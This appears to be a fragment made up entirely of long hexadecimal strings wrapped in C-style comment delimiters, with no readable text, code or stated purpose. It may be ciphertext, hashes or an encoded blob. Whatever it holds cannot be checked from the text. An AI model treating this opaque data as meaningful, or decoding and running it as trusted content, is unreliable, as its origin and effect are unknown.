0bf07166688513d812c8ff5cef8ad55c930f59b84b0c1ba95a80db3b23e98bc84b932dcc0a40fb07e4da3625521e9313c4a8389ea93f3fd6402cb322c0cd234e035d47f874738eddcf7a5ac694022159af30523cb6d9f90e5a11e02aa5e571e9f3aab74dbd9d98702a2d7872166c366b48e042864336328ea81a1d21ccb5d394861f543c6bc3fcf0e340ac5fcc30ece5215dde09cd85886e674b2a06544d5bec6225d4bc22013ae9026ce0823d6465c81820a8c0e7041dad094a5b2071855e3d22b37e257d1ac9a9888340addf6d7c433f0e39ebeacedbf3f14cce4b08191c2fceaa8be81857466d0d8a29e89aac3fea04d7f34d57d37bb6bb615746803edff74fb4e72f85211c3bb8235c9a795114c70b30bcaf240a5e2365606a025688f90bc44597d4685d5d29731c561c77e4a8e7099cd05a9c82cdaeedf3cc08d6db5d1081384a79c3575cf1b56a7595d8bbf6bf53b1a912afeab073c70a4f7a36bdaa37bab37becd7f83afc03ded310534db5c8e3dc7fe16a0883dc526ff5f850ad57bdccf52eaea43c7db4059d543483e1f76ddd4c72a668e4f90b3190f9ee06de42a2f77dd2cb6e987b925781ad7a84ff3d1d798bd48aa255d305e6d9b8eed3bd2ad11d4999b050e1e7cff9a7cb5ff168366af085a0eea698be80d64d33b4056841e8617e8dc379241fa95a44181e7ed82e9f53e46e9679fa0f860ea0b46f9f4269*/
/*baf3bb577042c288d0e69abbd9809097312dc45f54ece168b17122a7e6694176ce1846db3865e77474205475150618a2d4ca5fb66a490e82a68de8825f70657bb56bd688b81f1731d1eab61c470b084402212886a88e98e8ee4590254a90d1899819186e66665dfb64f033cf7e668a35c220ac51c8c049f04c6057b453c5e3b7e2708cdf6e3e09dedd555038e678b7bbcf78d51807084e7c3014e455899806bfe60cb43d71b01aa72b5c66d409f8646f193a0ac699592e904a07340f39fa8c4a2b759a46c152ace31f95b82cb40a05dc68b17a6abe13d9e66909b5b2d79dae7a1d5252decf74b5bd9779067451703ad78ebd013aaf06081b15597f15302e63d88f0b4a24c029b193156dc6ce3a1855ef8d9a9b4e3e936fc1b7aa01050c53deeab31d34054680145245b71e3be2f7e50f0722789b39c2686c9b9f272074d082147b4088bab7238126e0d98b6733b495106f908e4700334c9470d26719f23b4cc3cfc3699684c7522473ec61d8017b090334dc19ee5cf469b2ffaf649302e6df0414d799ba53da797597566021c117999f2528746b81f2d49ea050ccfb407bb9eff9e527a63cdb9c971056472a9895a5674f53db2d5fe783ab60bd1f3da0d75beae16487041fbf764d9cd0a36ff97da1eaf60240e8f062fce531bb25c0094594096de0596d57a45f2b8d6541cfec82cc8e4742107a731e27bfed0c63635209f39aa407955a894b81328264127ba765be3e477e2cd8b7010f13c05cc2917e973e2401632f812feb5af7ddb25cb4b795216675d62058b5443aaf0a2be96eb22eab13dee420ca7716096e46728cad44973df1dede6c78940888af987734ebd719571f5009a45bd40f51b2b610ca9ea82510ebb8b834074f534c5ba4e84f889ad5d7154a510413607cb801c3f1d421517643ceed5a705271f7fa68f759592b2490d60426bc28f0105658c5784c6c86ac587ac04500826f5a3abdd459d34e7aec8be99a5e146026c067ab9037c09f481f395a49abab9a1b31d54b553ce2c3d85bc359e864a3b72605a9d16e22c67781bed93a5b6cb827c57bd13ba3d3f12bc10a5de762ce5c8a72932a9dd6fcce4318479cca6d06fa12329605293ef0ee82dde77434feab7f83cce7d79d9c633536b78669e938cc67b39f9d890b0c1a73df55bf64aa114c8cb33a1f765650fd090ed29025ee7f3d1661b759c294335ecd20406bb1b5211728e74b92c2b7c95ffab75138a46ea8024d909d04b7cb307bca3b172a02f3f379e593b1bf0cc65aad4d676ca2cd70455ac0e722154e84ea7a4ec6690fc4f5d3941b09d6b4fc57ffdb34f8c2a6f3ac55015d6652521bdd75f8da45fc054bd5455cc91103e8686a47545df3de419c879b272d52e606f6caa0d5014f23bf2b0b5202b20b99d7eaaedb0935b002ff29f4b5790298aa83d1c8cd95a607e60454dd455207a2b3fd47f6fcca6b255302acced1e51fb2750e40dccb50fcf9e3c7254a5f7cc0dd5548d89a3eb7dfda79c07adf4db59699135317a3d93093f3441b0033d7d96c5bef67267409a756fa9f75f253783e3d2e4852293638529e1f66e309726651f7c689d8116f67f7785388b725f00a4ea88c047337a023ef7fa36154720d45b1daf664d1d81e18f826e0e9f65054b413ac0c7051cacdc044f1b237cd4806a5b83e8128008ad1f570b0923f0bff53d1789583d975f89e03caa101d8de756bef9ceba214db7f9e9d2edd5ebf95e62da819251449ec2cb7fb344968d3f41825be69978d96b5ed293406c4eff8d585616b68081b96970f0d8111bc4685d158efab02e2f7ba69a56cd0f47a4872af846a5c8c94bd3f332844f9d74158c98f93973c1de3ad226d8792208e4b1354ea4d8c70d6d2f1e11adff0d7588a41c449b2cd474ac59432da5627c7190af7b163cf15aab82bc113a9772a798dcfca21c51f3902a3790fe7f920407079a2d4b4aced7d5e75a360291e27b8d6f2bb3382d7a11a2334b029bf87e408bd588ba4a51d0a493eb63cac4f6b0b405669ca007393a26f48ffab5d8d16f42f5da1ce270646a76b62815bce400833771573dae17de1c7aef1785040f0992abe1a3c1cf5944243624e7ec0c72d8ed800a8721da136b39a3e19d486ae0ed7330c4a53500fbe1c97ebbf26867a7f016c4cb5df099cc051c87991d62eeb58d0dc89cd4db6b2d9c881b728d11343034d0f7c920cc3b719f437ac0fdc9baf70502b8a05f80d570091f0ab115f4088fff93849ca4bad8079d85128ca48dbe5a2a09350e45e240c2416c7136f9170989940cf4b4999c479604ac42211f9788b46aa24e5c6e67304e548ca35d33d17b8245efbe8fb797b29096d15f10973ee37827070cfa1e258ae412d9c7a82bfe7ae0ad6fd168882f8340987cef6651b538ebe501dca537d5d5fa170a25707f85021d478b9904cdd5dc96bb003091464be8896b21af716fff3af39ac2c08dcd5e8a810cb3a89d5cd89222f8e365ea910718d0984af9d0f77f7c830fdaf4065ecb4c187a63dec13eae37f5c275e80470530b2b1cffba1e81ed80791742fb92957ba6b5df51e16501dab2764d95674fea5ea78b9339c7fd5608042f88760af70afc64d44da651f37ec73b4194b319f961596b4c72dd7fca71bb4ac04a07c95ae674d294c9b96089a0ea343a994f0536c59c4fe2bde5fb2e3a0a04223b7cad4fb88a3f772483e40d74b5719fbad32aebe1439fc639dfdbb1bc53b796eb70ef4a89b846fb660a199be6acdf7a29973e23022d3d732b48bcceb4cd1f0d6cbacfdfd8b395c773abf8764eee75ca6e069f2a41aaa01ea8d4635a2008369ed78a6a2b0*/
/*ce2279b1b5c042fd68ec715cd2175bb1c707ade16b42e4fd595a03c423a0de0401554f4d09d234891b1f8f7250c7f94594074f1b155164564098a137b2373f6ecbbe4355004a73fda3a00424b900575be444a77649515762b897e64d1adc83326311f4ff093f82c18458105fe238ef141d9b440685c92660df3d353a7268948436c443b6d190f072dd989b4c7233811c1ae98484a2db4765f027ba9e07818804068625bdc5bf7f46ec3ddbd8576716db2c73e86bb9a18fe4c9721ae5cfeb9414d30d16043939a991347bfc168217052a4ced187f53117251950d75d2b2fbb40cc91ec745a24bb528a57783dbaa0e44680bfebca26dc86a6080f3061d2489d9d589e7a8be94f8cae3bcd62ded613a650772ceedd02f232a223f1d580c8c4a136feaaf533cf1a7211e3fed4b00447efb1e99a13067fdd80983e4bb09d6205ece84a77df2b8be6c43359f906becda69c4c916500f94f559944c1c62ee9539fb60440d84e65ad49916368c808524c144b6b043ef5db7d43c80cdc07cd2829bc303e59f565cf52bdd39781a8b41a19059535efe01452472d872b6bf4fb81389b0b48432857d84b6ac43956d200afdd54cd5ed9627e87b20f3af90934cea2fb21d8b59627cf4d0fdd6f66c0857d6630f68d2f9e37ebbcd8401414d3b931482c1431a5948474ff9bbfaae8285dd6a1ae270399cd002129d6fe01f5052cebc587a575628aa717d6db57042300937a699225381725756f37640bed149552797738406e3baca1c3c9a7721189b73f1a64f3ee044f9bbe57f2dd0d30eb2d315a98db551bb2006f7db66fb2568da4a8e6a3b7909e2b6ab16e4342ca1f808b6d00b400560832f12cc3ba3582cc02de3ed9c7a331873a241564273d192da576327552a3be9f0fdffc040c898c6c1da17e0e13c46adce2b74ab24b9e96a091052e00eecaa21022a1e93bd73fe6cfbd344585e43a9501c4cea67587b7100bf613f3601ffdf91bd8d2bc5d4b1cac7c117c28166520d3d92570d2dd30785cf29a548ca15016a42457d57692aa71a613bf395ca5a5422912eb450ed5c0c6ed8920708d4c682e332f2a99bb208bf058e16469e5e1785edd47962140194f6f34ec416f7b77c49ca87de2eb76d25904b55d36b0eb725345180899e757be78710f1728601fe0d48227583b925e5a7d9e607b485c718ac5b27e0ba701f33f44e9c18c5cce1c013552a5e310d99c54d390318843b4b9680bf15e6087e211d2be51b2c4b559e8d9bc38c40279fb283ef83c7ca440b826eefe48de8945747cefd0e8e55a10911d3facf27fbb64579e9a6f3689ee4ccda0ece8d89f421245177e11496555a9ac3733a6cfb99acedda74b365313800660304139f2109e18bf626a15d5b0e30f1022c93b087fd286d34140ffae49d7a7e42c5d29578e0aaa16595fb1ee47c4125654dbb42a94107aa2c97c46dbed6a01ed5094cbb0baafd9e8395656aa913f0233591b951c3825b356f380d144801536629b32a52fe4892933a05d4ab3d4ea7523e51c808f71f9569f62160931c217bba0af0bf60ba21382ae897b82aa7ca9bc7f34c34b3d1de35b78a3924d7c99aa16ea00c14f9f92df0a7d53d3ea7876c07d7e2736f9dc9ba9be52f3e19ee440697b3a70a5f9aed844654714d0a697ba1347693323d58a931b18d6342df64a34591758f23226bb975bb17f0648cf2cbbfa0bbee8c2fa26302c3d36ca8edbd6112894d78c19e57f20b92fcd9aa1683e4405c77bb8f22c5750bfd7eb0cbcfefbe8313b1379fc08e46888acee5ebd70446e5c3d88b973a654a09cba7d61c07bdd6b42a0f11de500e1495487860f6e03dd4d9f8a6320120034eb9635d8f44d400a62f03d33b7ff37fb9cc2d2a48b22542c4ca7e00c873b64ca828f6618548c39900b981b7f9844d5eb1134724a99bdcb7aa4312e0f3395ea58c83f6604db52169764b9aff54f8b4d153cfa02ff9bce52f00a9518c8e90fb039d68cc1902cb087b94a0d0957ca6e6544afd329aeb9334b13c9e971b19eab9315835bb1437a04ec928704743fa53f26bf5f75cb8c2657f3e7f484003cfe9d68249b4ceef100119ab5aaafed77444b7fc9cb93edff77adbe46b7d45d92c09b0604d19f1b5fe7158bf54915470bc996f3ae78614822296018d2874db522b538340f00153fca55bcfde4090bb9301a57c6cb45ba9ac6a807ba1b71b36f7c3d3e64f7270e4ebef44bb47b9ba7a2080bbbb6c10e6390fc2d94c595ee75f4dc74215cb3657b5d950658579e78e2ec2a1018e36f1f2388ada06e113694ecf33bf7b9aaba1b5524b36ccf5bef113f2c9f89c6e3d5362b50044bb8a36e52e376138172d3f530acbc3541db107f6a963293dee0e97d259bdfe95921184f2cef36f389e9b022c599dc555f04ec37880409759604a8cf2626763ec2b7ca1db06944983a65c092798b7aa883275235aa987dfe48b4cc863f16689c00d4218f9eb146818f8ebe4ebfd2b2ec8689223c359f5ff2f596664a4897ef4fd93a5c214bf0c3f39ac29a0db10cbc2e274eb23def1357ba21fec5debdc37eee153389b778873dce829f3a4dafe4748671374db74e76c96122fbdb4f64bb83d086aad038d4fc099845db24631da208e59d7640980c33adab9bfba07d2f68f9bf8d41ea75dcb4d333c9da487e0121b23da53934054dfa7ae37e169532fcbd10d802b3df524c89ae60ebc27a02804cf99deb9da29f11098444d68ae871fb6b4e2777af63997b0a0df0842ae3c7ebd94bf88818a150e4d4e620ac08c8f988d410102a8a75b445c4714fd5f720e82327f006e5cfda400205077bf94123271e0dbd9*/
/*86144216a3bfc6fa331dab4d60f1f7d8562108bc54d751137ef2402ae822d06fb5c5986c4cc8441289016670cea399e0d37ea7d20da2a6369b4c1f95fa7b931611998b203b6462ecafd9a95822c06bc64af7b1e10b048f25363430e2f016e6299bc7e3b799a0ba305ce60ee685a36f85c55f7ab1c44af3ba8e069768ae509ce9e289811ec5326f4b5ea8b38c2e5cc1068f24c363a15560e5e1ec1e7e76127d51e263a9b79f1a5a25ab38cdde3e194bced816fb34b00c48dfe343e7daf1bcc57cdc5eb429470fbcd8fd5b202e0fffe18c3d2f9a8a235a10660d766a2bb656e20471e318847052e5630b74c0be5de44564d3a39b7c4a842b0ff4793f0341498b71dd4de7bc8f8d1764ea9b92b5821af228b4037f659be93bd36f231d1f651b1ce3993005a90f554bddbbebac817ebcb58c500fd5861839b3aa27f66cf9bf9463c2198e0b37d697834e220d9f0a2ec47b307eafff68864e9adda39387615ff6dac80dd11301ba296d7ed26359adcd858671768f628656686bd38704ee3ff62003162490b0be11e3b86a6d651b8553e953375e2011a856f6074d0598f8481203b22f0cf899ac393bb9a42292b5552b563c1f6d8bd78d41e34985f741642d3c1c692d501e3e383431dcde7fccc6c89462de968ee1f07d3afc89dd6c1343a06fcae737d92fe25ac4ea396463c649bbe85e0216e55b2bd731bc6b4b9e4d5cbf46d57d63faa1d02e9cf04083162bf1106c2a6e681c6034018de374f8badbefbcb8f1fe856855b56a99dbd3c990f6e57fe1f47db0d98831c59b7af3c352208c9d3218016eec79ab175df9d2fa8622151b429fda898a57b2b410092f43f6db33a25f37ec9b4ea3aca261d9e55840085ab1d3719b2a0057312b456179d29298a6aea87a14af4f8a419a166da5713c4480b086e0cb48bcc53231460685e23deb61f2121d29114687dd3af26e421961131d93d6b3afa4cf13004eb35bd3c28e3695b3d7596bf20e2a3d7205efd6ac56ac82494d4cdebd0d2a44132bf7a425c0d9514e4e0c6f6b752cf1fbc7bcd9427634e1c34e79220667d89d8d1d5c92f0802ffed24d6205eb9162e83c1b4667d22306bdeae30591926a168d56fd6c58dc374825c6bc164f3efc9c8d81370673c1395e91477c48da1a623c7ca543134bc3a998101598b63fa67801a9ef1a7797c7f2e0ca677f119f312e1a3f58d902082f243bef13f02c0175ac28e7fe6236a871257bc88035a4e2910d8a3203561071bf619bdc9ec2ffae50c6a81bc80d1ad68a156af1ea15617553547b4cc05544a3a45d859f52762052f17c757f24e1fb28da03cb248a00b9e72f684e0b2049b3f19b9a733d2bd8f3c7c5592a72be8f282d2be9ceaf7d6eccbe0cb3eb81fafbe2d5a7f7270ac6cbd0709a22f13778aff7d8671037efbd09583e407f09ad3a372df74aab52874dfaf8c156ce80ddb8df9de18d158bb670629cd6354d0b3dfbb6117e19e81a5b6141f8aad98a53e3cd0498770c3508744f17ff0456bbd7829294c8676dad5094b247422fa33913e85984297e889fd2811ff45ef9dc1bbced0acf1bb43e272b0ae1082208b6b3453fc40736ac018d58326804891a695173daec317b803d011b07389d1d14799370379da9aa30566311545843d2702df089265c50930c7cbb29448298e874a630bbdb15a4b1a492add4326a5e759a7e55a35a6258a6b237e356fb2785df895241e9cd362aee45fd2d0fc61b23d11ee054f9a12b3bb34ec72373c71a214107ad73db686e02055e9de7e174769ca5ada3ca1bef9f1a5ffd147c118c7fd2fc370cc198364d32585fdf7301ab8001d6927da1f39a6c5604a60e25f213ececea951cebe74c6778532dec7aca88909bae9b4c4be8a13ccc00099e9d4d27338b92eea6adc31e9f9545843403bef02d669c45046a31a6c76316db2309388389cf5e62c343e8f1b8c39370eadde8d9f91efcbdef9d981da0641bf307b0dfbf8df91e5f3898b03b43930cdab4f66f6f882e96d7565e519e7ef64b452216f58010bde6c5112784e7b839d1eeadce5ba088394c9ce7312a37136af08edb63a19afdc365cf8be134f6178b626a581b84ef7059ab9db21ea37e944c204845ef74780e8cf919ff77db35509e8ca75348aa9f7248392224fd9f79779a5433672d3c10d2f21f2020d2e5cfcadb29fcb201a30924b053e5c8dffc459c6bf65b69c9ddeaa2b5dd4852d4ee567cc4c43b23a43fecfd8edd464b43443b081e240872c1e6b69a21bdbd826f5546efc5957f04ac7e9aa78c3a389ecaa96e129fdf4cb237f47a315c7e165a06f721b83fbada8cda6bc03af8512b864e706288031fcbaf4f271f6bc843aa57d27e4e1a4b1ea856cdd90e25878c2ab9a093b37464070d514268c8bc8a9bb97b826b2077852319b2ecdc44fa746a33023eadb5977dce401eba30675fc19456758ad9bb3cb02d379bac2b689a52eeeb252f76fb87bc1be350696f1ca54c37912be6f08a0a0512ebbac2de1320b7644ac0a38356afa01da041719b3b53a4957ed25faf24b3dac40d95dadd101dc975d9ee3db6979b3d89145a7dcff6bae354ed1f99a4395f1661aca24da50880392c354a66c14ba6befeb3a0d5f5a862f5776f7a9441d06f6edd431ece1d3a52a63c6f9fc86555ff643b3583ab96aa0b3e39fb150d20ee1f54944107e263929a38c8483cd18f8e3a01e501337d317a560276ac8bc8370bcccb3425058997c25d87acf9ef7715a83fe4b7bf55a5e7b43be5d2374999a08af89607cb0c9c991fc6bfc4c5aafa581736e9c4d92c9c9922a6f4e3ffc1df34e686491017ffbba80dbef22cbc84*/
/*3504c5b839c5b441e5b7672b5c170336ce2c9ed43d5bbd85750644cdcc57f27d976f0ef336f8524011cc12a0ebccbef1c96b2a3c7d8c7bc138c517455697c0d475d3483149fdbdb9b42b142d92ecb280e59e78364495a8aa01ccfa304bab678ff8740734840391df71db0272b8eae4b03078e8c96dc4a01c0ec5f4838ca81cde17663bb030ea46bfb3c2e6f07f361baf0af1ea2ec92962c1ea8fb08abea0e6c23372de82ba0f729c54296b5096d46cac23b3121fbfb7643c38fc35f49921580aa142fa1ba371b21d5ca6ac40762498b7e1d3785d1631c3e427e2fa1a457fcac4b6acf20cf8bba9eef6c6828c822f831259f0feb2f6e5caefc1b6e0230e42efb9a70b1cf97a1da9cf3b25e33b36f7aa57d41a9203346721fe894018e05ec41a25e0f7320105dc6ce671feefb3bc727a8166aa960511691de4e271ac377e5508d54c85032f67a1042e7cee020d325eb6e55d5fb5ac9e544e8508c7afd2d689521d616f1592991817e6bc35d05a02ff5f5585f28eb8106b46d6050362e11cd03dd9eda0adccfe93c412d94de006cbee559f6a35772072eeccec035a95e59bb585d924b3a4afe975ccf5a726cb6493b8ffcd890b7c0a05f75b585202bd3588cf6f4cfd4ffd49db1e7ce59921def990fe17ec4b1f61622f3d7287716e88e907c2c800fef5998898d7769d1b9ffdeef576799b699c3b89dbf4c0221233d47eea2c0c1d04f68f3398b9fffd644607164fedbcfd24cc1f20169135d501e0651b71c213dd86fe2754e144f257bce0a5531af0f3083f36f80eb754064ebbd410698f8dc41c42ab18fab5a0c16c31dff2142e635d316ef27bf14ecf956e713606d665c7607f55e58ce190eceba74cab32924f4369c32b90d3ace96b329b8c1801c800ace30c385c000dc9d5f8885c1ac9d9ebc0249afc59cd93a77f75c5e82e8f25d1358caf3922c24e2aa0a987946e28c4756360f6cca88dbfe681eae7fe90a8b18dbb6d62393530186ff6ddaca31a66169e707cd9ee7189053c9c2908c9871a0d5c6ddaf7591d13b50c89568a512e5681858d5c3751605dc4371385a302e14455166081fd247e2e6d7e1914f9a353fdfff14a06ca1d776adc8af5dd532db311031573caba70c54a3dbb6f9fdeba3819adb7356a16c91055aed317b4a1b6a3e2dcc5752a23d06c288973e0cc02a0e586f72c66a11960585290f4f49c0c15a826705b7e7fb39a303621034aeeb7bd62665c5a114f8b8b5449519c09825fa577e4b4f7269b79826500f44d12b8f571dd4b6e863c19ddf1f6629cfd7a080fa431d308e61f574b77956a16b4d9efc74c7d3d66a1b72fdfa4a58541a2c9e23f8d3f06600b8e11d43404cd55aff146d60f966bcd06789e1f7eb2cc68391aa5839c10c095cf16ded4d1195efebb992fe23f920e46c1dc147c7c7690a2523a9fa234cf90ab9d008c84c4bb129ab4d28b4c2f6a921c52f2270ace3426e722a7d93ed6c3a8e3de1ea6b3d7ba5bf485a09411389e2bbf64070381024e30666629799aa78cb3ecca3765363e46de347636dc432486a3c2de8806102aa46e2ffbfa715d1c654f718a19076039e647e3e1f046acb10761d8c3e009c4805597d817107425a6cf257ba781227f3095f15c96c05fb7faac63cc6042e5a0af1438bb13b24134eb62cd14286cdc2cd0ecfeed8a534c396d74c586dbbff6ad97507e77202c2d473b5ada9035ffa86db0944186492a8aa46a80ec4d734242efc581e900bd9b22d2236c51bd6e6d0a8e3288e4a848852ee260eed32550e3546683aecc6bb62a22a9f166c76e2eee73144f3228a63e65916c4374effc29c3a1895443485e479d5860c65286666b1ee42f1fc645996a78ebc744be4b9bb7b4845a71832d5ad0a7e8f85d1a13ab7fa63af5cadb643170cb5df0d5951318524c2c18193325049da99d6f4dbef53ca74ab1713259fd0d76f0618baf23f85abddf31dd4c43896b47235b0bfc4b0f15c08ebbd3c4b97263ba8b793dd4954f61ac96d5c8015e1253483bebc769416b4feff2144bc8e7e33aa0cf37adda1d3a291915f2bda49f013117033d241462b0b7518d0ffda0c8e20df56e6e840390cea2dc8db0c3aedebe89cc80f3a2f8a3f3507051d96483e12a926bca9694dfbf01b34557a3cece1b917723313862c8dea6f7336e0e6d9323cbe30114ad1a670c5366329025ec386551b9fd4a07747fbc1f24b0d7f93a45c4418bf30d36c722dc2d426f09afdac8763fc17a14b42212cec98fb140e8bbac7b549a5daf1c3f2d175a3b9987719936fac8eec12d3233da1e56400ed47618d95ff8f6014ee0ae11d20c8264b95515add8c31c4d5ce6366b8a6687edebb6f82c3392e24ef579a9a55bce6d11db41e267758d8262083f3cdf59df498f736564c195ca6dfdfd88431f02892620b361dc00a985cc6c3fe5c3d93a3c9bfaf974476e0e188402202a9641f0ed847814c8c2c23419a28e18f59c0d27c881dde78271f06317221f98e503c9c39f46b1c07226b6b19506f935d9299a2e1792b4e92bf86d8b23bd6f5fd74572ca19915bfd26088ccacaa404c0d202f84a0d91b4af09fa18b056b5190979919e2c41df8d708317235d1797315d3b3850e20763628913f12deba50ffcd18af57904c5c446115b9c660a71d184ee105b0f1e3d9c37d7c729c713f35b3f7e94d6af86cbf280b6a03782d6e0530a96a7dd49b59bc216a0d2040cbf524b59c977cc074d2f55c8818266200f9863294f93014499d950748fd144c80e1a2d88fd39c202173564922bec16a2d3d492a17c838772f3dc2170aea8248a13c89127416fa42350be3692292b79*/
/*94072a66f7eef9a70d00151a961ed9e1b4e59b05ed3b15602d886e07073f7fd9cc7a3e8083e2e699e41f137bb261b75ea7bc28628e6a8d7779ac3488379235658ea684a5d84a48e16168a6ceacce7230a9566dd6a29151d6397fc589e0ca90355461bbc0dfee7c145e90f42b4270935575ee318ab72ba1e73d0910f64347bd55e6ef04e3fb8361fcb9c5a7984c4df50d6459d109141993a22656e6731103a53520abc60434bed4a35767a7f4b8f588a864b1ba4dfdbb619e3f650dab2bc2b9005e963941610040e9b56de3b27f0d671de9af8b7d5eecd7b959ed259326ff729540ccf17266f953b960491a4af98be59b2812fe5c23c581d322fd0ea187a5d0884bb3e71ec8f340f18b4b210818311fb8af9536e5a5057f71341f42a4ecbab5b83c12c0e9c476e88230516073293dfc427269456578acac1af5b29711f1e0802d15f5824778a081652056f74d7f2e7574f9c12b5332c59198fb6d429e195befdf6eec148713c242899f44028a78a43deffcb49427f1f70b4d4c62349bef07d24af6d4726331d926b4722345f6dafd05a194827eed706c3f2b1e15c628b38cfe725f03f47a1dd578345600a3b63f9d5da4c04225bf937d8b34f183973f1c95cd5d6c18e9390628a6b68cf79beb93ae0c9fefc5100fc12be4be893f714b03f2795e1721e692d2a0e0b3d1009a96eb6d0a6de95aed767617008b6b4242cb6942e7fbd4c5cdedc60b99f894368aeb052dcc6ab4d6e2152111a43d2de884737bdf7da5696267dc78551aadbf0d9ae34088bb9dcb4147f2d9b5f17f538027ceba72cbf10c097b1ae0a94c7f7fdf62f704a3e255a0b50d039e81b8fe02b396d099e2ae48aa51dddc3df7f3fca57ff7bd6c785553af6c152ea56438a776afb7351414a5f26c48f0bbf509037ffc4202026958be3c6b470c1f33acb42a369061285db33626bfbfa15a380418216ce55a8b271f8ebfc86cdbe38c5104b286886f7977d3a9f91069e680012ef3e693febeb3606a8dffc452d2ab0b4e3f928637a0102b0ce5ce1558b5c1101db2bda3cfef03d177221ebfa2e86dc57350318ac1cefee62ede46268c27a855ace028eeb60e51d784df136329163c33f0ee90ae351647371ba74036a08f69a099d001f42426cc76c0ecd621d5a60e601f22a7424952de08076d915d71d44c01bc2ef800e00fabbd601e9a207ad85dcff275ea3f5d23ea5f77c125dc523c0875701ac0b2e5bfc89bfa69be08e5f187afd01480e774c3ae8884b9d32760ae61d4d0804e86d692424ecd87849853a337899a6b3fa0847bf1b527d774ad3925e09b517978d8ea0d06d137ab83696cc23bbbc97bfa6c5cd1c06ae6df131e8ba106cb0ee896eb9c6cba63983caf26b7cb77240337eb53a535ed9e6f8856594bde0e2597d770a0c4161c5cc7a7d0a34a09634463e1096c5f9161ae0a69364e63eaa6f1ee399b5d0bdd3d069dba64e4f91116538a19c664cd7400abc6c961a23ee7db95b6509b9a7c41c7e0ee546338c13485e25278e38f9732c10244f9ed7ed84bfdb682cc8fec9689830d3ed6804c0d153d25dc731f07ddb5558c377165c1b449afafddb842bd6f26a1d9523263b8311b486d39274abc0ee821312d145c480d5ac8acf072c89ee4caf59ba223c9636354a64e5c3b667ce3e46f95c24226a7ecbd7957d04f705459f21056eca5e2a3ebe40551665c52abdd3b1e5f52d9d86024876e220cb1b1a507041c4fb0060ca6a2224a42df7a34b852724228e6c4b818d9999f642858cbd85f1027b707bed9f3dd5788aa362574dc882592ed6dd460b7d17c5d7e9727de02fff15cf3994afeeaf70450f5c181eb290b5cbfe2112c71fd0dbe5c2dbc42b4b4dea9b521c2783f2861396531987a3c8df136193b74ef4017bcb299e0880ebed3cd31e0741cc9e415792c2f503a7f37f46688fc81a63ee6c0c60b4d377a9aae95629dd8f491b913d170d4953e64e77eff7832c196ed2f1eb07fcdd932c7b217d792f723fc39b6ec7144fd97367c34cd51dfe455e555a11e6bf5d9a56923b04ba96daca37a3ab57c231d1aa75e33e4d739735491718ecad92a4241011ca006f8b1598e5150f89aabd1905f7c0b8485dff9bc9952632415f90c7f3522c65d3b3bf71ea5fd1449681a129f6485ece6f0dfa2b90b54804cdebb9e6e5da2044f57efb620302fc2810542305641f8bbbac3fac1703e2d1b11c87ca1a5bf2cef5cb6a8da26a0bd4e9841b4c5312b8b82bec63cf229ee34a3568e30e855c2ff2f6d03b56997f39933dd3fd2cd8bd8af1ba20a3fc10944af0c31f88a3efd58511c4a0658c4690d19062c2632963995a459861b9dbba608dff3b221f18d79ad2fe7e6e27f44a639186b01a0bf36d0c549dc3d2ec22b0285489437b2ad309aafb47d1dbc7d11f4a0c0587a5cfc51d593a810d86d0c4d6afef7e83eab3dff514bd01883f1ada65f8478e3794ba246016c5d5208733155a922114914acddd24c1f64e9fba8a2c4fa82e13f2e6c64905fa8ddfea895aaa8c58142cd65a379736d1589fcf43b129a54a80034f59aeb1e5b80bb95c8bd58dce28af8d0a27ba1e7e5fbe55956ac6f9b2e004b673ee9c57e1bf76fe9a8ff686f25544ad1f43cf7db054888afefbb383c6bf89939d894379696eb26ddce2969e7ca3345b67b07f463ce62e00be757570e3b51c1785d8b6022e9f31b7f8728ddc5175efcede8cfaaac7ba78f0944752781834f4266d4c335b572ad4f613f20cf0fa7a772079b75b5597ecdb964efc8972d0b8581cab1076361e5d15e88e00085c2e58ecd0f10659f288af319323bfa53114a3d0b7b99449b*/
/*d4c7ceb590f689bb9a5f625474d44c30e4958c4244de5dacdc4ce6e81500db4238c07556c079a8615441f6aba7feb24b50ef0d7f6b7acb6952e2f7cbb2a21739b080cb8a67b4be17f66ccdf5e0d565052ee8c56378707f47e1c87043be366b9b6efbdc3e0458b4e05f17c2afdbd3855060208ec2c2ada57ec6487fb8aa0593b36fd785bfbef807a6c385a1ec6d2856d9ec5ad089edb40840b4e0c17006452d57a8805d2e106ce78cfb68d3e8b01ce320b71185ebcf50b09c1a304d29fe060f789b7af2c887618d92357b280bf26a317ee0cfc73d24dc3f6e41f1c05cbaaa476259ae7a9459d225bc4b9a744b8da79eb0d35d050b49546f472808026ba78c21e8ebdb2ebf5262311808672ff2bb64fc248f8654e38c347e31bd670161f038c547a8178fe15bf4870e30b49b7f30d79a970ffcd442983df9523f2072e4370133954c675c630205ce729c2ff66d93997cd9bae0e88ede83a444f34972dc343a165694071d2eafaf514b6013e2673973853a33938c1ae660755dfb2393f7cb98f9d28adaf2aa3a085503132d12bc471470678c324bd014ddb12a221e81b448f4f7b773cb90a47ae855984af619f4797b7412dc66844e532b0cfc53f3ba7ccf69940838ec5ca986bd9b391b0fd7547aeb3de2155882d3a7aaef29f5d49b031a8aa8643b98eb056efd47ac65bf6e6caa71f86955510f78cdb0c04f5c89c6f8f60df2747bd3fe5aa07b66159a404bcebd8628183393bd6c0e15b3839105ed9c82da3eb3bbad129d55756bdf513f9dbbb200f53ccebf7ab35bf5fc3f7dabf5cf94c2df30d5b4fd140a90775782e9c9f17c463cd0796d30c079795b62865ccb1791855c07f74637a6fd34abffa82aa433acd0d609bb0e59504bc81efa438d4e6d2683cf95e57cd3c387f18891e82eabdbd98833d513ba47246a964ed14c0fb78eb36f363007e66ee05013cb861bc943ac3a24abde22604690bb2774f6c42b5483469d9920330ddbc23bca8820fdf883261be26583f0821222ab1a910755947f9eed6a2cb1de77a8ed989184535d5b5e5954ebe1da332effc3a3b6a05c20c60551a104590f3ccfca90afdf4ca8b970b8e8c32bf3ec3adb68f219bfb7d89c112bdaa10ab02df1dc974d110cd6fd53b04ac74c6c33cbc8bde6aa2deff10ac3338159391beee1f28113934c628c8ed900bcb9f6649ae3b4c3d9bafc270e9548d0a51a575f7753751662d5c7ff37153a45d174b9447ca2743d5527e8b3af633553685401c0e268cc4a360c313e6c4d9bfb048f4322474a6b46f7364411dd5512db66fe2c2eb3fb3993b9ffe52a50128550c6fdc49654fe10b9baf38940188dd25ffb6621ac08a204259346c47ac0c9b2c40d89db5d9adccc0f66ae5bf825763b9888c3800fa23d202b475eafe6ba13057e3755afd635de510d2448909d85ba7bc3dcfbbc91a8461f296d1274088acab52f83ef37a823f99228ff483f2ba443eb5ca7fa302660c2f6dd697eaef4f170668b88357be3ad1d567931f